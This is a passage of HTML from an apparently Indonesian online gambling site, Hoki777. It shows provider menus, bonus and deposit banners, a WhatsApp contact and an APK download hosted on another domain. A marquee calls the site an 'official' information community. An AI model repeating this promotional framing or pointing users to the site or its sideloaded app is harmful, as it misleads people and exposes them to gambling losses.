                                                                                                                                                                                                        <img title="AI CASINO" alt="AI CASINO" src="https://images.linkcdn.cloud/global/navbar/casino/aic.webp">
                                            <div class="game-name">AI CASINO</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="Dream Gaming" alt="Dream Gaming" src="https://images.linkcdn.cloud/global/navbar/casino/drg.webp">
                                            <div class="game-name">Dream Gaming</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            </div>
                        </div>
                        
                    </div>
                                                                                                                        <div class="nav-item">
                        <a href="javascript:;" class="nav-link" onclick="routeNav('/sportsbook')" style="cursor: pointer;">
                                                        Sportsbook
                            <i class="fas fa-caret-down"></i>
                        </a>
                        <div class="nav-item__game">
                            <div class="container text-center justify-content-center">
                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="AFB88" alt="AFB88" src="https://images.linkcdn.cloud/global/navbar/sportbook/afb.webp">
                                            <div class="game-name">AFB88</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item game-item-new">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="BTI Sportsbook" alt="BTI Sportsbook" src="https://images.linkcdn.cloud/global/navbar/sportbook/bti.webp">
                                            <div class="game-name">BTI Sportsbook</div>
                                                                                
                                                                                    <img title="BTI Sportsbook" alt="BTI Sportsbook" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/promo.webp">
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="SBO SPORT" alt="SBO SPORT" src="https://images.linkcdn.cloud/global/navbar/sportbook/sbo.webp">
                                            <div class="game-name">SBO SPORT</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="CMD368" alt="CMD368" src="https://images.linkcdn.cloud/global/navbar/sportbook/cmd.webp">
                                            <div class="game-name">CMD368</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="SABA SPORT" alt="SABA SPORT" src="https://images.linkcdn.cloud/global/navbar/sportbook/sab.webp">
                                            <div class="game-name">SABA SPORT</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="OPUS Sports" alt="OPUS Sports" src="https://images.linkcdn.cloud/global/navbar/sportbook/m88.webp">
                                            <div class="game-name">OPUS Sports</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="IA E-SPORT" alt="IA E-SPORT" src="https://images.linkcdn.cloud/global/navbar/sportbook/iae.webp">
                                            <div class="game-name">IA E-SPORT</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                            </div>
                        </div>
                        
                    </div>
                                                                                                                        <div class="nav-item">
                        <a href="javascript:;" class="nav-link" onclick="routeNav('/lottery')" style="cursor: pointer;">
                                                        Lottery
                            <i class="fas fa-caret-down"></i>
                        </a>
                        <div class="nav-item__game">
                            <div class="container text-center justify-content-center">
                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/lottery/4d')" href="javascript:;">
                                                                                                                        <img title="4D" alt="4D" src="https://images.linkcdn.cloud/global/navbar/lottery/togel.webp">
                                            <div class="game-name">4D</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                            </div>
                        </div>
                        
                    </div>
                                                                                                                        <div class="nav-item">
                        <a href="javascript:;" class="nav-link" onclick="routeNav('/poker')" style="cursor: pointer;">
                                                        Poker
                            <i class="fas fa-caret-down"></i>
                        </a>
                        <div class="nav-item__game">
                            <div class="container text-center justify-content-center">
                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="We1Poker" alt="We1Poker" src="https://images.linkcdn.cloud/global/navbar/poker/we1.webp">
                                            <div class="game-name">We1Poker</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                            </div>
                        </div>
                        
                    </div>
                                                                                                                        <div class="nav-item">
                        <a href="javascript:;" class="nav-link" onclick="routeNav('/arcade')" style="cursor: pointer;">
                                                        Arcade
                            <i class="fas fa-caret-down"></i>
                        </a>
                        <div class="nav-item__game">
                            <div class="container text-center justify-content-center">
                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/funkygames')" href="javascript:;">
                                                                                                                        <img title="FUNKY GAMES" alt="FUNKY GAMES" src="https://images.linkcdn.cloud/global/navbar/slots/fun.webp">
                                            <div class="game-name">FUNKY GAMES</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/casino/spaceman')" href="javascript:;">
                                                                                                                        <img title="Pragmatic Crash Game" alt="Pragmatic Crash Game" src="https://images.linkcdn.cloud/global/navbar/casino/spa.webp">
                                            <div class="game-name">Pragmatic Crash Game</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/joker')" href="javascript:;">
                                                                                                                        <img title="Joker Gaming" alt="Joker Gaming" src="https://images.linkcdn.cloud/global/navbar/fishing/jok.webp">
                                            <div class="game-name">Joker Gaming</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/spribe')" href="javascript:;">
                                                                                                                        <img title="SPRIBE" alt="SPRIBE" src="https://images.linkcdn.cloud/global/navbar/slots/spr.webp">
                                            <div class="game-name">SPRIBE</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/fastspin')" href="javascript:;">
                                                                                                                        <img title="Fastspin" alt="Fastspin" src="https://images.linkcdn.cloud/global/navbar/slots/fsp.webp">
                                            <div class="game-name">Fastspin</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/jdb')" href="javascript:;">
                                                                                                                        <img title="JDB" alt="JDB" src="https://images.linkcdn.cloud/global/navbar/slots/jdb.webp">
                                            <div class="game-name">JDB</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/cq9')" href="javascript:;">
                                                                                                                        <img title="CQ9" alt="CQ9" src="https://images.linkcdn.cloud/global/navbar/slots/cq9.webp">
                                            <div class="game-name">CQ9</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/wonwon')" href="javascript:;">
                                                                                                                        <img title="WONWON" alt="WONWON" src=" https://images.linkcdn.cloud/global/navbar/slots/won.webp ">
                                            <div class="game-name">WONWON</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/jili')" href="javascript:;">
                                                                                                                        <img title="JILI" alt="JILI" src=" https://images.linkcdn.cloud/global/navbar/slots/jli.webp ">
                                            <div class="game-name">JILI</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/fachai')" href="javascript:;">
                                                                                                                        <img title="Fa Chai" alt="Fa Chai" src="https://images.linkcdn.cloud/global/navbar/slots/fac.webp">
                                            <div class="game-name">Fa Chai</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/spade')" href="javascript:;">
                                                                                                                        <img title="Spade Gaming" alt="Spade Gaming" src="https://images.linkcdn.cloud/global/navbar/fishing/spd.webp">
                                            <div class="game-name">Spade Gaming</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/arcade/zeus')" href="javascript:;">
                                                                                                                        <img title="ZEUS" alt="ZEUS" src="https://images.linkcdn.cloud/global/navbar/slots/hg5.webp">
                                            <div class="game-name">ZEUS</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item game-item-new">
                                                                            <a onclick="routeNav('/arcade/ggsoft')" href="javascript:;">
                                                                                                                        <img title="GG SOFT" alt="GG SOFT" src="https://images.linkcdn.cloud/global/navbar/fishing/ggs.webp">
                                            <div class="game-name">GG SOFT</div>
                                                                                
                                                                                    <img title="GG SOFT" alt="GG SOFT" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/new_icon.webp">
                                                                            </a>
                                </div>
                                                                                            </div>
                        </div>
                        
                    </div>
                                                                                                                                            <div class="nav-item">
                        <a class="nav-link" href="javascript:;" onclick="routeNav('/news')">
                                                            Berita
                                                    </a>
                    </div>
                                                                                                                                                                <div class="nav-item">
                        <a class="nav-link" href="javascript:;" onclick="routeNav('/promotion')">
                                                            Promosi
                                                    </a>
                    </div>
                                                                                                    <div class="nav-item">
                        <a class="nav-link" href="https://hoki777.de.com/event"><img src="https://images.linkcdn.cloud/global/nav-addons/event.webp" alt="Event" width="70px" height="21.5px"></a>
                    </div>
                </div>
            </div>
        </div>
    </nav>
</div>
<div class="header-mobile">
    <div class="header-mobile__top">
        <div class="mobile-logo">
            <a href="https://hoki777.de.com">
                <img src="https://images.linkcdn.cloud/V2/398/logo/logo-2110473952.webp"
                    alt="WebsiteLogo" width="125" height="27">
            </a>
        </div>
                <div class="mobile-button">
            <a class="mobile-button--register" href="https://hoki777.de.com/register">Daftar</a>
            <div data-target="slide-out" class="mobile-button--menu sidenav-toggle">
                <i class="fas fa-bars"></i>
            </div>
        </div>
                    </div>
    <div class="header-mobile__marquee">
        <i class="fas fa-bullhorn"></i>
        <div class="marquee text-nowrap">Hoki777 is an official service where a digital platform meets a community eager to get the best information in Indonesia. Discover trusted community features.</div>
        <a href="https://hoki777.de.com/event" style="line-height: 0;"><img class="pr-2" src="https://images.linkcdn.cloud/global/nav-addons/event.webp" alt="Event" width="85px" height="23.7px"></a>
    </div>
    <div id="mobilePageLoadingBar" class="progress-bar progress-bar-success" role="progressbar" style="height:4px;width:1%;position:absolute;z-index:999;display:none;"></div>
</div>
<div id="overlay"></div>
<div class="sidenav">
        <div class="sidenav__header">
        <div class="sidenav__header-user">
            <span>Selamat Datang</span>
        </div>
        <div class="sidenav__header-logo">
            <img src="https://images.linkcdn.cloud/V2/398/logo/logo-2110473952.webp"
                alt="WebsiteLogo" width="180" height="39">
        </div>
        <div class="sidenav__header-button">
            <div class="sidenav-button-title">Silakan Login atau Mendaftar</div>
            <div class="sidenav-button">
                <button class="btn-login sidenav-login" type="button" type="button" data-toggle="modal"
                    data-target="#loginModal">Masuk</button>
                <button class="btn-register"
                    onclick="window.location.href = 'https://hoki777.de.com/register'">Daftar</button>
            </div>
            <div class="sidenav-password">
                <a class="" href="https://hoki777.de.com/forgot-password">Lupa Password?</a>
            </div>
        </div>
    </div>
    
    <div class="sidenav__list">
        <ul>
            <li class="active">
                    <a href="https://hoki777.de.com">
                    <i class="fas fa-home"></i>
                    <span>Home</span>
                </a>
            </li>
            <li class="">
                    <a href="javascript:;" onclick="routeNav('/promotion')">
                    <i class="fas fa-percentage"></i>
                    <span>Promosi</span>
                </a>
            </li>
                                                            <li>
                        <a href="https://bright.moonlightcodex.us/HOKI777.apk" target="_blank">
                            <i class="fas fa-download"></i>
                            <span>Download Aplikasi</span>
                        </a>
                    </li>
                                        <li class="">
                <a href="javascript:;" onclick="routeNav('/news')">
                    <i class="fas fa-newspaper"></i>
                    <span>Berita</span>
                </a>
            </li>
            <li class="">
                <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                    <i class="fas fa-dice-five"></i>
                    <span>Informasi Keluaran</span>
                </a>
            </li>
            <li class="">
                <a href="https://hoki777.de.com/help">
                    <i class="fas fa-question-circle"></i>
                    <span>Bantuan</span>
                </a>
            </li>
            <li>
                <a href="/contact">
                    <i class="fas fa-phone-alt"></i>
                    <span>Kontak Kami</span>
                </a>
            </li>
            <li class="">
                <a href="https://hoki777.de.com/event">
                    <i class="fas fa-trophy"></i>
                    <span>Event</span>
                </a>
            </li>
        </ul>
    </div>
    
    
    <div id="header-currency" class="header-flag">
        <span>Rupiah</span>
            </div>
    <div id="header-lang" class="header-flag">
        <img src="https://images.linkcdn.cloud/global/default/icon/lang/indonesia.png" width="20" height="14" alt="id">
        <i class="fas fa-caret-down"></i>

        <div id="lang-dropdown" class="flag-dropdown">
                        <a href="javascript:;" data-locale="en" name="locale-switch">
                <div class="flag-item">
                    <img src="https://images.linkcdn.cloud/global/default/icon/lang/english.png" alt="en">
                    <span>English</span>
                </div>
            </a>
                        <a href="javascript:;" data-locale="id" name="locale-switch">
                <div class="flag-item">
                    <img src="https://images.linkcdn.cloud/global/default/icon/lang/indonesia.png" alt="id">
                    <span>Indonesia</span>
                </div>
            </a>
                        <a href="javascript:;" data-locale="th" name="locale-switch">
                <div class="flag-item">
                    <img src="https://images.linkcdn.cloud/global/default/icon/lang/thai.png" alt="th">
                    <span>Thailand</span>
                </div>
            </a>
                        <a href="javascript:;" data-locale="vn" name="locale-switch">
                <div class="flag-item">
                    <img src="https://images.linkcdn.cloud/global/default/icon/lang/vietnam.png" alt="vn">
                    <span>Viet</span>
                </div>
            </a>
                        <a href="javascript:;" data-locale="kh" name="locale-switch">
                <div class="flag-item">
                    <img src="https://images.linkcdn.cloud/global/default/icon/lang/cambodia.png" alt="kh">
                    <span>Khmer</span>
                </div>
            </a>
                        <a href="javascript:;" data-locale="cn" name="locale-switch">
                <div class="flag-item">
                    <img src="https://images.linkcdn.cloud/global/default/icon/lang/chinese.png" alt="cn">
                    <span>Chinese</span>
                </div>
            </a>
                        <a href="javascript:;" data-locale="tl" name="locale-switch">
                <div class="flag-item">
                    <img src="https://images.linkcdn.cloud/global/default/icon/lang/philippines.png" alt="tl">
                    <span>Tagalog</span>
                </div>
            </a>
                    </div>
    </div>
</div>

<!-- Account Balance -->
<main id="main-route">
    <div class="main-content home">
			<section class="home__slider">
			<div class="swiper-container main-slider">
				<div class="swiper-wrapper">
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/event-spesial-pragmatic-play-6a633778e6eb8.webp"
								data-alt="" width="1120" height="250" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/membership-ultimate-hoki777-69601c6fb8d3e.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/bpjs-bantuan-pinjaman-jasa-saldo-69dcf640ea222.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/bonus-new-member-100-6943fe649c938.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/rebate-mingguan-693b91ba3ac03.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/bonus-lucky-spin-67a5fec946523.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/extra-saldo-bank-5k-69427d659ef02.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/download-apk-68f9e9680ec64.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/bonus-deposit-harian-68b6dabf5825b.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/full-diskon-togel-67a609e08d7bf.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/portal-bebas-akses-65d9c78514f68.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/merchandise-65d9c6cd21253.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/grub-telegram-65d9c387a074d.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/promo-bonus-new-member-up-to-10-67a5fa0edc7dc.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/rtp-slot-gacor-65d9c330ac00e.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/bonus-reff-67a5fc881678f.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/promo-deposit-pulsa-tanpa-potongan-67a5fdcc96156.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/promo-bonus-deposit-harian-sportsbook-5-casino-3-hoki777-67a5f8b362cea.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00398/banner/id/event-extra-bonus-freespin-buyspin-pragmatic-play-hoki777-68e91597d7f1d.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/bti-top-leagues-nba-season-kickoff-mulai-dari-tanggal-12-oct-until-08-nov-2026-6acc737fcc2f5.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-choice-gaming-casino-master-tournament-putaran-ke-5-dari-tanggal-14-oktober-2026-hingga-21-oktober-2026-6ac1077fa9750.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-pragmatic-play-exclusive-gajian-heboh-gates-of-olympus-date-05-october-until-18-october-2026-6ac4ae8cbea7a.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-pragmatic-play-exclusive-sit-n-win-gates-of-olympus-roulette-date-05-oktober-hingga-18-oktober-2026-6ac4b705d78b3.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-pragmatic-pop-gates-of-olympus-pop-prize-drop-until-last-october-2026-6ac78c85ecfb9.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-fastspin-kebangkitan-naga-perang-es-dan-api-mulai-tanggal-17-agustus-2026-hingga-tanggal-30-november-2026-6a756c555f5d6.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-spade-gaming-play-win-tournament-mulai-tanggal-24-agustus-2026-hingga-23-november-2026-6a8c1da11d1f3.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/eksklusif-event-microgaming-mahjong-wilds-gacor-cash-drop-mulai-tanggal-16-sep-2026-hingga-16-oct-2026-6aa6947499e06.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/nextspin-lucky-8-august-2026-period-6a82f2f351830.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/joker-grand-jackpot-money-meteor-66e53696293e6.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/bgs-lucky-coin-cat-6aaa01184a5be.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-spade-gaming-fishing-frenzy-tournament-mulai-tanggal-24-agustus-2026-hingga-23-november-2026-6a8c582c8b0ea.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/bt-gaming-20-disc-3-month-sep-nov-2026-6aacd2773425f.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-5g-games-ultimate-5g-gacor-slot-tournament-mulai-dari-tanggal-01-oktober-2026-hingga-30-oktober-2026-6aba43143ba12.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-microgaming-wild-fortune-drop-mulai-tanggal-23-sep-2026-hingga-13-oct-2026-hanya-untuk-pasaran-idr-thb-vnd-dan-php-6ab4bccb3848f.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-pragmatic-play-daily-wins-mega-gacor-level-7-mulai-dari-tanggal-28-september-2026-hingga-26-october-2026-6ab8e4a0bbf8c.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-wonwon-black-wukong-arrives-big-win-awaits-mulai-dari-tanggal-01-oktober-2026-hingga-29-oktober-2026-hanya-untuk-pasaran-idr-thb-vnd-usd-6abb62cb479c9.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-pgsoft-money-rain-mulai-dari-tanggal-12-oktober-2026-hingga-31-oktober-2026-6acc53fc658b3.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/bgs-midnight-mayhem-13-oct-2026-post-6acdbbd12c1a5.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/bgs-royale-club-13-oct-2026-post-6acdb94487cd7.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-nolimit-city-slot-hallowin-trick-and-win-tanggal-05-oktober-sampai-01-november-2026-6ac350248f0d0.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-evolution-casino-bet-and-win-tanggal-05-oktober-sampai-27-desember-2026-6ac34f7837867.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-playtech-the-heat-is-on-24-oktober-2026-until-01-nov-2026-6ace1a406879c.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
										<div class="swiper-slide">
						<a href="#">
							<img src="https://images.linkcdn.cloud/V2/00000/banner/id/event-playtech-fuel-the-fire-25-oktober-2026-6ace19a394023.webp"
								data-alt="" width="1120" height="250"  loading="lazy" >
						</a>
					</div>
									</div>
				<div class="swiper-pagination"></div>
				<div class="swiper-button-next"></div>
				<div class="swiper-button-prev"></div>
			</div>
		</section>
		<section class="home__jackpot">
		<div class="container">
			<div class="jackpot-gif">
				<div class="jackpot-amount">IDR <span id="amount"></span></div>
			</div>
		</div>
	</section>
	<section class="home__menu">
		<div class="container">
			<div class="menu-container">
				<div class="download-border item-download">
					<div class="menu-download">
						<img id="template-download" src="https://hoki777.de.com/../../custom/img/header/gameapp.png" width="226" height="226" alt="game app">
							<h4>DOWNLOAD SEKARANG</h4>
						<div class="download-button">
							<div class="download-item">
																	<a href="https://bright.moonlightcodex.us/HOKI777.apk" target="_blank">
										<img src="https://hoki777.de.com/../../custom/img/header/playstore.png" width="130" height="39" alt="playstore">
									</a>
															</div>
						</div>
					</div>
				</div>
				<div class="menu-right item-right">
					<div class="menu-games">
						<a href="javascript:;" onclick="routeNav('/sportsbook')">
							<div class="games-item">
								<img id="template-image" src="https://hoki777.de.com/../../custom/img/header/sports_1.png" width="193" height="150" alt="sportsbook">
								<div class="games-border">
									<div class="games-name">SPORTSBOOK</div>
								</div>
							</div>
						</a>

						<a href="javascript:;" onclick="routeNav('/slot')">
							<div class="games-item">
								<img id="template-image" src="https://hoki777.de.com/../../custom/img/header/slots_1.png" width="193" height="150" alt="slot">
								<div class="games-border">
									<div class="games-name">SLOT</div>
								</div>
							</div>
						</a>

						<a href="javascript:;" onclick="routeNav('/casino')">
							<div class="games-item">
								<img id="template-image" src="https://hoki777.de.com/../../custom/img/header/casino_1.png" width="193" height="150" alt="casino">
								<div class="games-border">
									<div class="games-name">CASINO</div>
								</div>
							</div>
						</a>
												<a href="javascript:;" onclick="routeNav('/lottery')">
							<div class="games-item">
								<img id="template-image" src="https://hoki777.de.com/../../custom/img/header/lottery_1.png" width="193" height="150" alt="lottery">
								<div class="games-border">
									<div class="games-name">LOTTERY</div>
								</div>
							</div>
						</a>
											</div>
					<div class="menu-slider">
						<div class="row">
							<div class="col-lg-4 col-md-6">
								<div class="slider-cstmr swiper-container">
									<div class="swiper-wrapper">
										<div class="swiper-slide">
											<div class="slider-cstmr__holder cstmr-service">
												<div class="slider-cstmr-title">Layanan Customer</div>
																								<div class="cstmr-item">
													<img src="https://images.linkcdn.cloud/global/default/contact/whatsapp.png" alt="whatsapp" width="31" height="31">
														<a href="https://wa.me/6282312622550" target="_blank" rel="noreferrer">
															<div class="cstmr-content">
																6282312622550
															</div>
														</a>
												</div>
																																			</div>
										</div>
										<div class="swiper-slide">
											<div class="slider-cstmr__holder service-game">
												<div class="slider-cstmr-title">Layanan Product</div>
												<div class="service-item">
													<div class="service-icon">
														<img src="https://images.linkcdn.cloud/global/default/contact/vider.png">
													</div>
													<div class="service-item-desc">Permainan Terlengkap dalam seluruh platform</div>
												</div>
											</div>
										</div>
										
									</div>
									<!-- Add Paginaton -->
									<div class="swiper-pagination"></div>
								</div>
							</div>
							<div class="col-lg-4 col-md-6">
								<div class="slider-provider">
									<div class="slider-provider-title">Game Favorit</div>
									<div class="slide-game-favorit swiper-container">
										<div class="swiper-wrapper">
											<a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/pragmaticplay/vs20olympgcl.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/popular-games/mahjong-ways2.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/afg/kirinMahjongUltra.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/fsp/S-MP03.jpg" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/microgaming/P5_mahjongMaxWin.webp" width="193" height="150" >
    </a>
